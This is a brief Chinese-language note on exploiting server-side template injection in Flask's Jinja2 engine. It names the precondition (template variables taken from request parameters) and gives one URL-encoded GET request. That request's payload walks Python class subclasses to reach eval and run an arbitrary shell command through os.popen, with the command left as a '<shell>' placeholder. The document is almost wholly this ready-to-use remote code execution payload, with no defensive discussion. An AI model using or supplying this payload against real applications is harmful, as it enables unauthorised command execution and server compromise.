【笔记】Flask的SSTI模板注入漏洞利用

前言

Python的Flask框架的SSTI模板注入漏洞利用

漏洞利用前提

  • 代码中使用了Jinja2模板引擎,且模版中的变量来自于请求参数

exp

<shell>:URL编码后的远程执行的Shell命令

request
1
GET http://127.0.0.1:80/?id=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%7B%25%20if%20c.__name__%20%3D%3D%20'catch_warnings'%20%25%7D%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%7B%25%20if%20'eval'%20in%20b.keys()%20%25%7D%7B%7B%20b%5B'eval'%5D('__import__(%22os%22).popen(%22%3Cshell%3E%22).read()')%20%7D%7D%7B%25%20endif%20%25%7D%7B%25%20endif%20%25%7D%7B%25%20endfor%20%25%7D%7B%25%20endif%20%25%7D%7B%25%20endfor%20%25%7D

完成